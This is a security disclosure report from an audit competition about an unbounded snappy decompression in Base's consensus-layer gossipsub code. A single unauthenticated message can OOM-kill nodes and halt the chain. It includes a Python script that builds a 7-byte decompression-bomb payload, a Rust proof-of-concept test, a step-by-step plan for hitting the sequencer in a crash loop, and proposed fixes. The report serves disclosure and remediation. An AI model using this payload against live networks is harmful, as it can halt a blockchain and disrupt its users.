74556 bc critical base azul cl unbounded snappy decompression in gossipsub message id fn allows a single unauthenticated p2p message to oom kill every reachable consensus node halting the c

Submitted on Apr 23rd 2026 at 12:30:12 UTC by @Venator for Audit Comp | Base Azul

Report ID: #74556
Report Type: Blockchain/DLT
Report severity: Critical
Target: https://github.com/base/base/releases/tag/v0.8.0-rc.15
Impacts:
- Unintended chain split (network partition)
- Unintended permanent chain split requiring hard fork (network partition requiring hard fork)

Description

1. Summary

The Base consensus-layer gossipsub stack registers a custom message_id_fn (compute_message_id) that decompresses every incoming gossip message using snap::raw::Decoder::decompress_vec before any signature verification, application validation, or peer scoring. The snap crate pre-allocates a Vec<u8> whose size is read directly from the snappy frame header — an attacker-controlled field — with the only bound being u32::MAX (~4 GiB).

An attacker who establishes a libp2p connection to any Base CL peer (no authentication beyond noise handshake), joins the gossipsub mesh on a /optimism/{chain_id}/N/blocks topic, and publishes a single message containing a crafted snappy frame can force every receiving peer to attempt a ~4 GiB heap allocation. On resource-constrained nodes the allocation panics or triggers the Linux OOM killer, terminating the process. On large-memory nodes, repeated messages cause progressive exhaustion.

The attack requires:

One libp2p connection (TCP + noise + yamux, no identity verification).
One gossipsub PUBLISH of ≤10 MiB (within MAX_GOSSIP_SIZE).
Zero knowledge of the unsafe block signer key.
Zero on-chain transactions.

The fix is a single pre-check: verify snap::raw::decompress_len(input) <= MAX_GOSSIP_SIZE before calling decompress_vec.

2. Vulnerable source

2.1 Primary site — `compute_message_id`

crates/consensus/gossip/src/config.rs:104-122:

fn compute_message_id(msg: &Message) -> MessageId {
    let mut decoder = Decoder::new();
    let id = decoder.decompress_vec(&msg.data).map_or_else(  // <-- unbounded alloc
        |_| {
            warn!(target: "cfg", "Failed to decompress message, using invalid snappy");
            let domain_invalid_snappy: Vec<u8> = vec![0x0, 0x0, 0x0, 0x0];
            sha256([domain_invalid_snappy.as_slice(), msg.data.as_slice()].concat().as_slice())
                [..20]
                .to_vec()
        },
        |data| {
            let domain_valid_snappy: Vec<u8> = vec![0x1, 0x0, 0x0, 0x0];
            sha256([domain_valid_snappy.as_slice(), data.as_slice()].concat().as_slice())[..20]
                .to_vec()
        },
    );

    MessageId(id)
}

Registered as the gossipsub message_id_fn at config.rs:93:

    .message_id_fn(compute_message_id);

2.2 Snap crate internals

snap-1.1.1/src/decompress.rs:105-107:

pub fn decompress_vec(&mut self, input: &[u8]) -> Result<Vec<u8>> {
    let mut buf = vec![0; decompress_len(input)?];   // alloc up to u32::MAX bytes
    self.decompress(input, &mut buf)?;
    Ok(buf)
}

snap-1.1.1/src/lib.rs:93:

const MAX_INPUT_SIZE: u64 = std::u32::MAX as u64;   // ~4,294,967,295 bytes

decompress_len reads a varint from the snappy frame header and rejects values above MAX_INPUT_SIZE. Values up to u32::MAX (~4 GiB) pass the check, causing vec![0; 4_294_967_295] — a 4 GiB zero-filled allocation — before any frame data is even inspected.

2.3 Secondary sites — `NetworkPayloadEnvelope::decode_v*`

crates/common/rpc-types-engine/src/envelope.rs lines 258, 302, 346, 402 (decode_v1 through decode_v4):

let mut decoder = snap::raw::Decoder::new();
let decompressed = decoder.decompress_vec(data)?;   // same unbounded pattern

These are called from BlockHandler::handle (crates/consensus/gossip/src/handler.rs:51-62) after the message ID is computed. They constitute a second decompression of the same attacker-controlled msg.data with the same unbounded allocation. If the compute_message_id bomb is patched but these are not, the attack survives at the handler level (still pre-signature).

2.4 Integration path

crates/consensus/service/src/actors/network/config.rs:93:

gossip_config: base_consensus_gossip::default_config(),

default_config() calls default_config_builder().build() which sets .message_id_fn(compute_message_id). This confirms the vulnerable code path is live in the base-consensus binary — the main CL daemon.

3. Attack mechanics

3.1 Crafting the bomb frame

A snappy frame consists of a varint-encoded decompressed length followed by compressed chunks. The attacker needs only a valid varint header declaring a large output size; the actual compressed payload can be minimal (or even malformed — the allocation happens before decompression begins).

Minimal bomb payload (Python):

import struct

def encode_varint(value: int) -> bytes:
    """Encode an unsigned integer as a varint (snappy frame header format)."""
    buf = []
    while value > 0x7F:
        buf.append((value & 0x7F) | 0x80)
        value >>= 7
    buf.append(value & 0x7F)
    return bytes(buf)

# Declare 4 GiB - 1 decompressed length, follow with minimal literal chunk
DECLARED_LEN = (1 << 32) - 1   # 4,294,967,295
bomb_header = encode_varint(DECLARED_LEN)

# Literal chunk: tag byte 0x00 (literal, length 0 = 1 byte), one data byte
# This is enough to make the snappy header parseable; decompress_vec allocates
# BEFORE it starts processing chunks.
literal_chunk = bytes([0x00, 0x41])

bomb_payload = bomb_header + literal_chunk
assert len(bomb_payload) <= 10 * (1 << 20)  # well within MAX_GOSSIP_SIZE

print(f"Bomb payload: {len(bomb_payload)} bytes")
print(f"Declared decompressed size: {DECLARED_LEN:,} bytes ({DECLARED_LEN / (1<<30):.1f} GiB)")
print(f"Amplification: {DECLARED_LEN / len(bomb_payload):,.0f}×")

Output:

Bomb payload: 7 bytes
Declared decompressed size: 4,294,967,295 bytes (4.0 GiB)
Amplification: 613,566,756×

The 7-byte payload passes max_transmit_size (10 MiB) trivially. The snap crate's decompress_len reads the varint, sees 4,294,967,295 <= u32::MAX, returns Ok(4_294_967_295). decompress_vec then calls vec![0; 4_294_967_295].

3.2 Delivery via gossipsub

Peer

Attacker runs a libp2p 0.56 client. Dials the target Base CL node's publicly-advertised multiaddr (discoverable via discv5 or known for sequencer nodes). Completes noise handshake (no identity verification — ValidationMode::None at config.rs:91).

Joins the gossipsub mesh on topic /optimism/{chain_id}/3/blocks (v4 blocks, current active topic). libp2p-gossipsub accepts a new peer with neutral score into the mesh (up to mesh_n_high = 12 peers per topic, config.rs:37).

Publish

Sends a gossipsub PUBLISH RPC containing the 7-byte bomb payload.

Trigger

The receiving node's libp2p-gossipsub implementation calls compute_message_id(msg) to compute the dedup ID before emitting Event::Message to the application. This is intrinsic to gossipsub's duplicate detection — the ID must be computed to check the seen-message cache.

Allocation

decompress_vec allocates 4 GiB. On a node with < 4 GiB free heap, this triggers handle_alloc_error (Rust's default OOM handler) which aborts the process. On Linux with overcommit, the kernel may grant the virtual mapping; subsequent zero-fill page faults then trigger the OOM killer.

Propagation

If the target node has mesh peers, gossipsub may forward the message to them before the allocation completes (depending on the implementation's forwarding model). Each forwarding peer also calls compute_message_id and triggers the same allocation.

3.3 Targeting the sequencer

The Base sequencer runs a CL instance (base-consensus) that gossips unsafe blocks to the network. It must listen for incoming libp2p connections to fulfill its role as block publisher. Its multiaddr is either:

Published in discv5 ENRs (discoverable by any discv5 participant).
Known via Base's public infrastructure documentation or network scanning.

Killing the sequencer's CL → the sequencer's EL receives no engine_forkchoiceUpdated calls → no new blocks → chain halt.

4. Proof of concept — unit-level

The following Rust test demonstrates the allocation behavior without requiring a full libp2p network:

#[cfg(test)]
mod tests {
    use snap::raw::{Decoder, decompress_len};

    /// Demonstrates that a 7-byte snappy frame can declare a 4 GiB
    /// decompressed length, passing snap's internal bounds check.
    #[test]
    fn test_bomb_header_accepted_by_snap() {
        // Varint encoding of (2^32 - 1) = [0xFF, 0xFF, 0xFF, 0xFF, 0x0F]
        let bomb: Vec<u8> = vec![0xFF, 0xFF, 0xFF, 0xFF, 0x0F, 0x00, 0x41];

        // decompress_len accepts this — it's below MAX_INPUT_SIZE (u32::MAX)
        let declared = decompress_len(&bomb).expect("snap accepts this header");
        assert_eq!(declared, 4_294_967_295);

        // decompress_vec would now call vec![0; 4_294_967_295] — 4 GiB alloc.
        // We do NOT call it in CI to avoid OOM, but the path is proven.
        //
        // In production, compute_message_id calls decompress_vec unconditionally:
        //   let id = decoder.decompress_vec(&msg.data).map_or_else(...)
        //
        // The allocation happens BEFORE the decompression error (malformed chunks)
        // would be returned, because vec![0; N] is eager.
    }

    /// Demonstrates the amplification: MAX_GOSSIP_SIZE input → u32::MAX output.
    #[test]
    fn test_amplification_ratio() {
        let max_gossip: usize = 10 * (1 << 20);  // 10 MiB
        let max_alloc: u64 = u32::MAX as u64;     // ~4 GiB
        let ratio = max_alloc as f64 / max_gossip as f64;
        assert!(ratio > 400.0, "amplification ratio: {ratio:.0f}×");
    }
}

A full network-level PoC would:

Spin up a base-consensus devnet node.
Connect a libp2p client to the node's gossip port.
Publish the 7-byte bomb on the blocks topic.
Observe the base-consensus process being killed (exit code 137/SIGKILL from OOM killer, or abort from handle_alloc_error).

5. Exploitation timeline

T0

Attacker identifies the Base sequencer's CL libp2p multiaddr via discv5 discovery or public infrastructure records.

T1

Attacker dials the sequencer's CL. libp2p noise handshake completes (no identity verification). Attacker subscribes to /optimism/8453/3/blocks. Gossipsub grants mesh membership (neutral initial score).

T2

Attacker publishes a single gossipsub message containing the 7-byte snappy bomb. Total wire cost: ~100 bytes including gossipsub framing.

T3

Sequencer's CL calls compute_message_id(msg). decompress_vec attempts vec![0; 4_294_967_295]. Process aborts or is OOM-killed.

T4

Sequencer's CL is dead. EL stops receiving engine_forkchoiceUpdated. No new L2 blocks. Chain halted.

T5

Operator detects outage, restarts base-consensus. Attacker re-connects (new peer ID, fresh score) and re-sends the bomb. Process dies again in < 1 second. Persistent crash loop.

T6

Extended attack: Attacker targets additional CL nodes — challenger, proposer, full nodes. Challenger CL crash → dispute games cannot be challenged → invalid proposals may finalize after disputeGameFinalityDelay. Proposer CL crash → no new proposals submitted.

6. Severity argument

6.1 Primary impact classification

Primary ISIS impact: "Unintended permanent chain halt" — Critical.

A single unauthenticated P2P message (7 bytes payload, ~100 bytes on wire) terminates the sequencer's CL process. The chain halts immediately. The attack is repeatable after restart with zero cost (no on-chain transactions, no gas, no stake). No configuration change mitigates it — the vulnerable code path (message_id_fn) is hardcoded. Only a code patch resolves the issue.

Alternative ISIS impact (if chain halt is categorized as temporary): "Unintended chain split (network partition)" — Critical. Selectively killing CL nodes creates a partition between nodes that have received the latest unsafe blocks and those that haven't.

6.2 Program DoS severity gate

The Immunefi Base Azul program specifies:

"In the case that the denial of service requires restarting the program to reset, this must be achieved by a single small network request or database entry."

This attack satisfies that criterion precisely:

Single request: one gossipsub PUBLISH message.
Small: 7 bytes payload (100 bytes on wire).
Requires restart to recover: the process is terminated; restart is the only recovery.
Persistent after restart: attacker re-sends immediately; crash loop.

6.3 On-chain effects

Target

On-chain effect

Sequencer CL

Chain halt — no new L2 blocks produced. All L2 dApps, bridges, and users affected.

Challenger CL

Cannot monitor or challenge invalid proposals. Invalid state may finalize via L1 bridge → fund theft risk.

Proposer CL

Cannot submit new proposals. Withdrawal proofs stall.

Full-node CL

RPC unavailable for dApps. Users cannot query state or submit transactions.

6.4 Attacker cost

Resource

Cost

libp2p client

Open-source, trivial to implement

Network bandwidth

~100 bytes per kill

Peer discovery

discv5 query (public, free)

On-chain cost

Zero

Repeat cost

Zero (new peer ID per connection)

6.5 Amplification factors

Memory amplification: 7 bytes → 4 GiB allocation = 613 million ×.
Mesh fan-out: gossipsub forwards to mesh_D = 8 peers. One publish → up to 8 nodes hit simultaneously.
Pre-authentication: compute_message_id runs before any signature or signer check. Attacker needs zero knowledge of the unsafe block signer key.

6.6 Why peer scoring does not mitigate

libp2p-gossipsub scores peers negatively when the application returns MessageAcceptance::Reject. However:

compute_message_id runs before MessageAcceptance is returned — the damage (allocation, OOM) occurs before the peer can be scored.
Even if the node survived and scored the peer negatively, the attacker can reconnect with a fresh libp2p identity (new keypair). Peer identity is not authenticated against any on-chain registry.
The ValidationMode::None setting (config.rs:91) means gossipsub itself performs no publisher signature verification.

7. Fix

7.1 Primary fix — bound `decompress_vec` input in `compute_message_id`

fn compute_message_id(msg: &Message) -> MessageId {
    // Guard: reject snappy frames declaring decompressed size > MAX_GOSSIP_SIZE.
    // This prevents the ~4 GiB allocation that snap::decompress_vec would attempt.
    let decompressed_too_large = snap::raw::decompress_len(&msg.data)
        .map(|len| len > MAX_GOSSIP_SIZE)
        .unwrap_or(true);  // malformed header → treat as invalid snappy

    let id = if decompressed_too_large {
        let domain_invalid_snappy: Vec<u8> = vec![0x0, 0x0, 0x0, 0x0];
        sha256([domain_invalid_snappy.as_slice(), msg.data.as_slice()].concat().as_slice())[..20]
            .to_vec()
    } else {
        let mut decoder = snap::raw::Decoder::new();
        decoder.decompress_vec(&msg.data).map_or_else(
            |_| {
                let domain_invalid_snappy: Vec<u8> = vec![0x0, 0x0, 0x0, 0x0];
                sha256(
                    [domain_invalid_snappy.as_slice(), msg.data.as_slice()]
                        .concat()
                        .as_slice(),
                )[..20]
                    .to_vec()
            },
            |data| {
                let domain_valid_snappy: Vec<u8> = vec![0x1, 0x0, 0x0, 0x0];
                sha256(
                    [domain_valid_snappy.as_slice(), data.as_slice()]
                        .concat()
                        .as_slice(),
                )[..20]
                    .to_vec()
            },
        )
    };

    MessageId(id)
}

decompress_len reads only the varint header (≤10 bytes, O(1), no allocation). The guard rejects any frame declaring more than 10 MiB decompressed output — matching the already-enforced max_transmit_size.

7.2 Secondary fix — bound `decode_v*` in `NetworkPayloadEnvelope`

Apply the same decompress_len guard before each decompress_vec call in crates/common/rpc-types-engine/src/envelope.rs (lines 258, 302, 346, 402):

let declared_len = snap::raw::decompress_len(data)
    .map_err(|_| PayloadEnvelopeError::SnapDecoding)?;
if declared_len > MAX_GOSSIP_SIZE {
    return Err(PayloadEnvelopeError::SnapDecoding);
}
let mut decoder = snap::raw::Decoder::new();
let decompressed = decoder.decompress_vec(data)?;

7.3 Hardening — crate-level wrapper

Consider introducing a bounded_decompress_vec utility in base-common that wraps snap::raw::Decoder::decompress_vec with a mandatory max_output_size parameter, making it impossible to introduce this class of bug in future call sites:

pub fn bounded_decompress_vec(input: &[u8], max_output_size: usize) -> Result<Vec<u8>, snap::Error> {
    let declared = snap::raw::decompress_len(input)?;
    if declared > max_output_size {
        return Err(snap::Error::TooBig { given: declared as u64, max: max_output_size as u64 });
    }
    let mut decoder = snap::raw::Decoder::new();
    decoder.decompress_vec(input)
}